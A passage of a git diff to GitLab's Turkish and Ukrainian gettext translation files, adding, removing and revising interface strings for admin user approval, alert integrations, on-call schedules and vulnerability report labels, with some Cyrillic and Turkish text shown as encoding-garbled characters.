-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr "Grup başına veya proje başına bildirim düzeyi belirleyebilirsiniz."
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30639,7 +31331,7 @@ msgid "You don't have any authorized applications"
msgstr "Herhangi bir yetkili uygulamanız yok"
msgid "You don't have any deployments right now."
-msgstr ""
+msgstr "Şu anda herhangi bir dağıtımınız yok."
msgid "You don't have any open merge requests"
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Yalnızca sizden @bahsedilen yorumlar için bildirim alacaksınız"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Profilinize bir SSH anahtarı ekleyene kadar proje kodunu SSH üzerinden çekemez veya yollayamazsınız"
-
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "İşlem e-postanız, düzenlemeler ve birleştirmeler gibi web tabanlı işlemler için kullanılacaktır."
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "Gitlab grubunuz"
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "Lisansınız şu tarihten itibaren geçerlidir:"
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "AboneliÄŸiniz sona erdi!"
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr "(yükleniyor)"
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] "%{packagesString} ve %{lastPackage} tarafından kullanıldı"
msgid "ciReport|View full report"
msgstr "Raporun tamamını görüntüle"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "bağlanılıyor"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr "oluÅŸturdu:"
msgid "created %{timeAgo}"
msgstr "%{timeAgo} oluÅŸturuldu"
-msgid "customize"
-msgstr "özelleştir"
-
msgid "data"
msgstr ""
@@ -31524,7 +32234,7 @@ msgid "deleted"
msgstr ""
msgid "deploy"
-msgstr ""
+msgstr "dağıt"
msgid "design"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "tamamlandı"
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr "bu proje için"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "projeyi çatalla"
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr "zaten alındı"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "yardım"
@@ -31682,8 +32395,8 @@ msgstr ""
msgid "import flow"
msgstr "içe aktarım akışı"
-msgid "importing"
-msgstr "içe aktarılıyor"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr ""
@@ -31858,7 +32571,7 @@ msgid "more information"
msgstr ""
msgid "most recent deployment"
-msgstr ""
+msgstr "en son dağıtım"
msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
msgstr ""
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "yok"
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "%{user} tarafından %{timeAgoString} açıldı"
@@ -32250,6 +32969,9 @@ msgstr "%{timeAgo} açıldı"
msgid "or"
msgstr "veya"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "Kritik"
@@ -32392,9 +33120,15 @@ msgstr "Bilgi"
msgid "severity|Low"
msgstr "Düşük"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Orta"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "başladı"
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr "etiket adı"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr "bu belge"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "katkıda bulunanlara yardım etmek için etkili şekilde iletişim kurun!"
@@ -32569,6 +33306,11 @@ msgstr "damlayı görüntüle"
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index e50f03847fa..ef6d3b6de8b 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:45\n"
+"PO-Revision-Date: 2020-12-03 08:14\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -88,6 +88,13 @@ msgstr[1] "%d ЗатвердженнÑ"
msgstr[2] "%d Затверджень"
msgstr[3] "%d Затверджень"
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] "%d пакет"
@@ -203,13 +210,6 @@ msgstr[1] "%d дні"
msgstr[2] "%d днів"
msgstr[3] "%d днів"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d помилка"
@@ -217,6 +217,13 @@ msgstr[1] "%d помилки"
msgstr[2] "%d помилок"
msgstr[3] "%d помилок"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d екÑпортер"
@@ -461,24 +468,15 @@ msgstr "%{actionText} Ñ– %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr "%{address} - недійÑний діапазон IP-адреÑ"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link} напиÑав:"
msgid "%{authorsName}'s thread"
msgstr "Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{authorsName}"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -565,6 +563,9 @@ msgstr "%{count} пов’Ñзаних %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -637,21 +638,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "вхід на %{host} з нового розташуваннÑ"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} буде видалено! Ви впевнені?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr "%{issuesSize} з обмеженнÑм %{maxIssueCount}"
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}КлаÑ:%{labelEnd} %{class}"
@@ -667,9 +674,6 @@ msgstr "%{labelStart}Дані:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}Файл:%{labelEnd} %{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Образ:%{labelEnd} %{image}"
@@ -685,14 +689,14 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Сканер:%{labelEnd} %{scanner}"
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr "%{labelStart}СтатуÑ:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
+msgstr ""
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} недоÑтупний"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow} та ще %{awardsListLength}."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Початок"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] "%{releases} релізів"
msgid "%{remaining_approvals} left"
msgstr "%{remaining_approvals} залишилоÑÑ"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Гілка"
@@ -1033,6 +1010,9 @@ msgstr "%{userName} аватар"
msgid "%{user_name} profile page"
msgstr "%{user_name} Ñторінка профілю"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username} аватар"
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr "&lt; 1 година"
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr "Дії"
-msgid "Activate"
-msgstr "Ðктивувати"
-
msgid "Activate Service Desk"
msgstr "Ðктивувати Службу підтримки"
@@ -2040,9 +2011,15 @@ msgstr "Режим адмініÑтратора ввімкнено"
msgid "Admin notes"
msgstr "Ðотатки адмініÑтратора"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "Ðктивні кориÑтувачі"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Ðктивні"
@@ -2313,18 +2299,21 @@ msgstr "Заблоковано"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Ð‘Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача має наÑтупні наÑлідки:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Ðеможливо розблокувати кориÑтувачів заблокованих в LDAP"
msgid "AdminUsers|Deactivate"
msgstr "Деактивувати"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "Деактивувати КориÑтувача %{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Деактивувати кориÑтувача"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Деактивовано"
@@ -2349,6 +2338,9 @@ msgstr "Зовнішні"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "ВикориÑтовує міÑце"
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "Відновити доÑтуп кориÑтувача до облікового запиÑу, включаючи веб, Git та API."
@@ -2424,6 +2425,15 @@ msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð²ÐµÐ´Ñ–Ñ‚ÑŒ %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð²ÐµÐ´Ñ–Ñ‚ÑŒ %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "КориÑтувач не зможе отримувати доÑтуп до репозиторіїв Git"
@@ -2433,6 +2443,9 @@ msgstr "КориÑтувач не зможе увійти в ÑиÑтему"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "Коли кориÑтувач повторно увійде у ÑиÑтему, його обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð¾ активуєтьÑÑ Ð² повній мірі"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Без проєктів"
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr "ÐдмініÑтруваннÑ"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "ПопередженнÑ"
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
